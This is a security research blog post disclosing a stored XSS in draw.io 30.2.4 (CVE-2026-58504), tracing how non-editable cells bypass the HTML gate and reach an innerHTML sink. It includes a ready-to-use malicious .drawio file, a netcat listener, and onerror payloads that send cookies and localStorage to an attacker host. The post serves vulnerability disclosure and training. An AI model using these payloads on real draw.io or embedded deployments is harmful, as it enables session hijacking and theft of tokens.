> ## Content Index
> Fetch the complete content index at: https://yokai.hakaisecurity.io/llms.txt
> Use this file to discover other available public pages before exploring further.

# [EN] Drawing the Vulnerability: XSS in Draw.io (CVE-2026-58504)
- URL: https://yokai.hakaisecurity.io/en-drawing-the-vulnerability-xss-in-draw-io-cve-2026-58504/
- Published: 2026-10-27T20:56:52.000Z
- Updated: 2026-10-27T20:56:52.000Z
- Author: 0xNosferatu
- Tags: Research Blog, en, #pair-504

During an analysis of the source code of [draw.io](http://draw.io/?ref=yokai.hakaisecurity.io) (also known as diagrams.net), an open source tool widely used for **creating diagrams such as flowcharts**, **system architectures**, **ER**, and **UML**, the **Yokai Team** at **Hakai Security** identified a Stored XSS vulnerability (CWE-79) cataloged as **CVE-2026-58504** (GHSA-c76x-r78m-phwx).

The vulnerability is related to the `mxUtils.canConvertHtmlToSvg()` function and allows arbitrary JavaScript execution when the victim opens or imports a malicious **".drawio"** file.

## What exactly is draw.io?

[draw.io](http://draw.io/?ref=yokai.hakaisecurity.io), also known as `diagrams.net`, is an open-source diagramming tool for flowcharts, architecture diagrams, ER diagrams, UML, mind maps, and similar things. It runs in the browser, has a desktop version, and is very popular when embedded in enterprise tools such as **Confluence**, **Jira**, **Notion**, **Nextcloud**, **GitLab**, and various internal wikis. Basically: if your company creates diagrams, there's a good chance it's running **draw.io** somewhere.

The .drawio files are XML, which means they contain structure, styles and, as we'll see, user-controlled labels.

## The fix, without fixing it

**draw.io / diagrams.net 30.2.4** has a Stored XSS (CWE-79), tracked as **CVE-2026-58504** ([GHSA-c76x-r78m-phwx](https://github.com/jgraph/drawio/security/advisories/GHSA-c76x-r78m-phwx?ref=yokai.hakaisecurity.io)), triggered when the victim opens or imports a malicious .drawio file. The payload executes as JavaScript on the origin of the draw.io instance, which, in embedded deployments (Confluence, Jira, wikis), means executing on the origin of the host application. The flaw was fixed in version **30.2.5**.

This is a bypass of the fix for [GHSA-fqhg-287p-c6vf](https://github.com/jgraph/drawio/security/advisories/GHSA-fqhg-287p-c6vf?ref=yokai.hakaisecurity.io), fixed in **29.7.12**. The previous patch sanitized the wrong path, and the bug came back through a side window.

## The anatomy of the bug

The sink is located in `mxUtils.canConvertHtmlToSvg()`, in the file `src/main/webapp/mxgraph/src/util/mxUtils.js`, where the received value is inserted directly into the DOM via `div.innerHTML = value`, without passing through `htmlEntities` or `sanitizeHtml`. This function is called by `TextFormatPanel.addFont()` `(src/main/webapp/js/grapheditor/Format.js)`, inside the `feature-detection` loop that iterates over the selected cells and retrieves each label via `getLabelValue()`. While unsanitized use of `innerHTML` is already a risk on its own, the central point of the analysis is understanding how this data flows through the application until it reaches this point with no validation at all. This stands out because draw.io consistently applies escaping mechanisms throughout most of the codebase. The vulnerability is therefore not the result of a single implementation mistake, but of the interaction between three architectural decisions that, while individually correct, become incompatible when combined.

### Escaping depends on the cell's "type"

The escaping mechanism varies according to the cell type. In **draw.io**, cells are classified according to their style configuration into three categories: **plain text (plain text)**, **wrap (text with automatic line wrapping, but still treated as text)**, and **HTML (html=1)**.

During rendering, the treatment applied to the label content depends on this classification, causing each type to follow a distinct processing path.

```js
// Graph.js — cellRenderer.getLabelValue
var result = mxCellRenderer.prototype.getLabelValue.apply(this, arguments);
if (state.view.graph.isHtmlLabel(state.cell))
{
    if (mxUtils.getValue(state.style, 'html', '0') == '0')
        result = mxUtils.htmlEntities(result, false);  // wrap    -> escaped
    else
        result = Graph.sanitizeHtml(result);           // html=1  -> sanitized
}
return result;                                          // plain   -> RAW

```

Cells classified as plain text do not even go through this check. This is the first design decision that makes sense in isolation: if the content will be treated exclusively as text during rendering, there is no reason to apply escaping routines in advance, avoiding unnecessary processing.

The implicit contract is that the returned value may remain "raw", with the consuming component responsible for applying the necessary protections before inserting it into the DOM. In most of the application, this contract is respected, and consumers perform their own validation or escaping mechanisms before using this content, as in the following example:

```js
if (!isHtmlLabel) value = mxUtils.htmlEntities(value);

```

### The gate that authorizes the HTML path

The vulnerable block in `Format.js` only runs when the selection "is HTML." The decision comes from here:

```js
var formatted = mxUtils.getValue(ss.style, 'html', 0) == '1';

```

The `ss.style` object represents the aggregated style of the selection, obtained by combining the styles of all selected cells. The logic is simple: if all cells have `html=1`, the panel enables rich-formatting features; otherwise, `formatted` receives the value `false`, preventing the flow intended for HTML content from being used.

However, this rule has an important caveat. During style aggregation, cells marked with `editable=0` are disregarded by the algorithm. In other words, although they are part of the selection, they do not influence the calculation of `ss.style`, as illustrated in the snippet below:

```js
// EditorUi.js — EditorUi.prototype.createSelectionState
if (mxUtils.getValue(style, mxConstants.STYLE_EDITABLE, '1') != '0')
{
    this.updateSelectionStateForCell(result, cells[i], cells, initial);
}

```

This makes sense within the product's domain: a locked cell should not influence the formatting panel, since the user cannot edit it anyway. A second reasonable decision.

### The inconsistency in selection processing

Up to this point, the logic seems consistent: the interface state is defined based on the selection's aggregated style, disregarding cells marked with `editable=0`. The problem arises in the next step. The loop responsible for processing labels traverses all selected cells, without applying the same criterion used during style aggregation:

```js
// Format.js — TextFormatPanel.addFont()
var hasUnsupported = false;
var cells = graph.getSelectionCells(); // ALL, editable=0 too
for (var i = 0; i < cells.length && !hasUnsupported; i++)
{
    var cellState = graph.view.getState(cells[i]);
    var label = (cellState != null) ? graph.cellRenderer.getLabelValue(cellState) : null;
    if (label != null && label.length > 0 && !mxUtils.canConvertHtmlToSvg(label, {...}))
    {
        hasUnsupported = true;
    }
}

// mxUtils.js — mxUtils.canConvertHtmlToSvg()
canConvertHtmlToSvg: function(value, opts)
{
    var div = document.createElement('div');
    div.innerHTML = (value != null) ? value : '';   // SINK

    return mxUtils.convertHtmlToSvg(div, null, null, opts);
}

```

This decision also makes sense when analyzed in isolation. The loop's goal is to perform feature detection: interpret the content of each label to identify which features are present and thus determine which toolbar options should be enabled. From this perspective, ignoring part of the selection would mean losing potentially relevant information.

The vulnerability arises because the premise used by this loop differs from the one adopted during validation. The gate considers only a subset of the cells when deciding whether the selection should be treated as HTML, while the consumer traverses the entire selection and processes every label it finds. As a result, a cell excluded from the gate's decision can still reach `innerHTML`, creating an inconsistency between the component authorizing the flow and the component actually consuming the data. In other words, two application components make different assumptions about which cells are relevant, opening the door to a classic confused deputy scenario.

## Building the exploit

With this inconsistency established, building the exploit becomes straightforward. It is enough to use two cells with distinct roles:

- Cell A: configured with `html=1` and containing a benign label. Its only purpose is to ensure that `formatted` remains `true`, causing the vulnerable flow to execute.
- Cell B: configured with `editable=0` and `html=0`, containing the XSS payload. Because non-editable cells are ignored during the aggregation of `ss.style`, their presence does not change the value of `formatted`. However, the cell remains part of the selection and is processed by the loop responsible for analyzing labels. At this point, `getLabelValue()` returns the content as plain text, which is subsequently inserted into the DOM via `innerHTML`, without any sanitization.

The vulnerability is also triggered automatically. `TextFormatPanel` performs feature detection during its initialization, regardless of whether the Text tab is visible to the user. Whenever the selection is rebuilt, the panel is recreated and the vulnerable flow is executed again.

During the process of importing a diagram, the newly imported cells are automatically selected by the application. As a result, the payload is processed immediately after the file is opened, without requiring any additional user interaction. In practice, simply opening the malicious file triggers the XSS.

## Step by step

Start a listener on the attacker's machine to receive the exfiltration request:

```bash
while true; do
    printf 'HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n' | nc -lvnp PORT
done

```

1. Save the proof-of-concept (PoC) file as `poc.drawio`, replacing `IP:PORT` with the address of the listener configured in the previous step.
2. Send the file to the victim and ask them to open it in `draw.io 30.2.4`.
3. During diagram import, the application automatically selects the imported cells, rebuilding the `TextFormatPanel`. This process triggers the vulnerable flow, executes the payload, and sends the exfiltrated data to the attacker's server.

The file will look like this:

```xml
<mxfile host="app.diagrams.net">
  <diagram name="Pagina-1" id="poc">
    <mxGraphModel dx="800" dy="600" grid="0" gridSize="10" guides="1" tooltips="1" connect="1" arrows="1" fold="1" page="1" pageScale="1" pageWidth="850" pageHeight="1100" math="0" shadow="0">
      <root>
        <mxCell id="0" />
        <mxCell id="1" parent="0" />
        <mxCell id="A" value="rotulo benigno" style="rounded=0;whiteSpace=normal;html=1;" vertex="1" parent="1">
          <mxGeometry x="40" y="40" width="160" height="40" as="geometry" />
        </mxCell>
        <mxCell id="B" value="&lt;img src=x onerror=&quot;this.onerror=null;new Image().src='http://IP:PORT/c?'+encodeURIComponent(document.cookie)&quot;&gt;" style="text;html=0;editable=0;" vertex="1" parent="1">
          <mxGeometry x="40" y="120" width="260" height="40" as="geometry" />
        </mxCell>
      </root>
    </mxGraphModel>
  </diagram>
</mxfile>

```

The label of cell B, after decoding the XML entities, becomes:

```js
<img src=x onerror="this.onerror=null;new Image().src='http://IP:PORT/c?'+encodeURIComponent(document.cookie)">

```

For a quick validation, without the need for additional infrastructure, simply replace the content of cell B with `<img src=x onerror=alert(document.domain)>`. When the file is opened, the `alert` will execute in the context of the `draw.io` origin, confirming JavaScript execution.

Below is a minimalist PoC that, instead of displaying an `alert` or exfiltrating data, simply sends an `HTTP GET` request to a listener controlled by the attacker. The goal is to confirm payload execution in the application's context in a simple and non-intrusive way.

![](https://yokai.hakaisecurity.io/content/images/2026/10/data-src-image-958b8f42-b98b-4344-bcd1-fbda07fa51c6.png)

A `python3 -m http.server` on the other side is enough to see the request arrive. Once the trigger is confirmed, the payload can be expanded.

## Proof of impact — Session theft

The vulnerability was validated on a self-hosted instance of **draw.io 30.2.4**, configured without a restrictive script-src directive in the Content Security Policy (CSP). Under these conditions, the exfiltration payload executes successfully in the application's context.

After the payload executes, the attacker-controlled server receives data exposed by the application's origin, including cookies accessible through `document.cookie` (such as `rl_session`, when configured without the `HttpOnly` attribute), telemetry and tracking identifiers (for example, PostHog and RudderStack), and all content stored in `localStorage`.

Capturing these artifacts demonstrates that the injected JavaScript executes with the same privileges as the application, allowing access to the user's session information and other data available in the origin's context.

![](https://yokai.hakaisecurity.io/content/images/2026/10/data-src-image-d8aeb1ad-65b9-4eff-9f5a-923a7d1b00ef.png)

0:00 

/0:13 

1× 

With the token in hand, an authenticated session can be hijacked. The same primitive can be used to read `localStorage` (where many deployments store OAuth tokens / access tokens) or the currently open diagram itself:

```html
<img src=x onerror="this.onerror=null;fetch('http://IP:PORT/x',{method:'POST',mode:'no-cors',body:JSON.stringify({u:location.href,c:document.cookie,l:{...localStorage}})})">

```

## Impact

The impact of the vulnerability goes beyond simple JavaScript execution. In practice, all it takes is for the victim to open a specially crafted **.drawio** file for arbitrary code to execute in the context of the application's origin.

Once this execution is achieved, an attacker can:

- Read and exfiltrate the contents of the currently open diagram.
- Access cookies available through `document.cookie` and data stored in `localStorage`, including credentials or authentication tokens when stored on the client side.

Execute authenticated same-origin requests on behalf of the victim, exploiting the session already established in the application.

The scenario becomes even more relevant in deployments where draw.io is embedded in other platforms, such as **Confluence**, **Jira**, corporate **wikis**, or **SaaS** applications. In these cases, the payload executes in the context of the host application's origin, significantly expanding the impact surface.

From the attack-vector perspective, exploitation only requires the victim to open a malicious **.drawio** file received through common sharing channels, such as **email**, **Slack**, **ticketing systems**, or **pull requests**. It is therefore a scenario compatible with file-based **phishing campaigns**, requiring no additional interaction beyond opening the diagram.

## Conclusion

At first glance, the vulnerability seemed to be just another case of unsafe `innerHTML` usage. However, analysis of the flow revealed a subtler problem: **the flaw was not located at a single point in the code**, but in the inconsistency between components that made different assumptions about which cells should participate in processing. While the mechanism responsible for deciding whether content could be treated as HTML disregarded cells with `editable=0`, the final consumer processed the entire selection, allowing an apparently harmless label to reach an unsafe sink.

This type of vulnerability demonstrates how implementation decisions that are correct when analyzed in isolation can introduce security flaws when combined. There was no absence of escaping mechanisms throughout the project; the problem arose because two independent flows no longer shared the same trust assumption.

## Let's practice!

Hacking Club is a training platform focused on the practical development of cybersecurity professionals. The [Drawing](https://app.hackingclub.com/training/challenges/138?ref=yokai.hakaisecurity.io) challenge replicates, in a controlled environment, a service vulnerable to the flaw discussed in this article, allowing researchers and professionals to consolidate the presented concepts by exploiting the vulnerability in a secure lab.

## References

- [Github Advisory - GHSA-c76x-r78m-phwx](https://github.com/jgraph/drawio/security/advisories/GHSA-c76x-r78m-phwx?ref=yokai.hakaisecurity.io)
- [Github Advisory - GHSA-fqhg-287p-c6vf](https://github.com/jgraph/drawio/security/advisories/GHSA-fqhg-287p-c6vf?ref=yokai.hakaisecurity.io)
- [cve.org](https://www.cve.org/CVERecord?id=CVE-2026-58504&ref=yokai.hakaisecurity.io)
- [Draw.io](https://draw.io/?ref=yokai.hakaisecurity.io)
- [draw.io repository](https://github.com/jgraph/drawio?ref=yokai.hakaisecurity.io)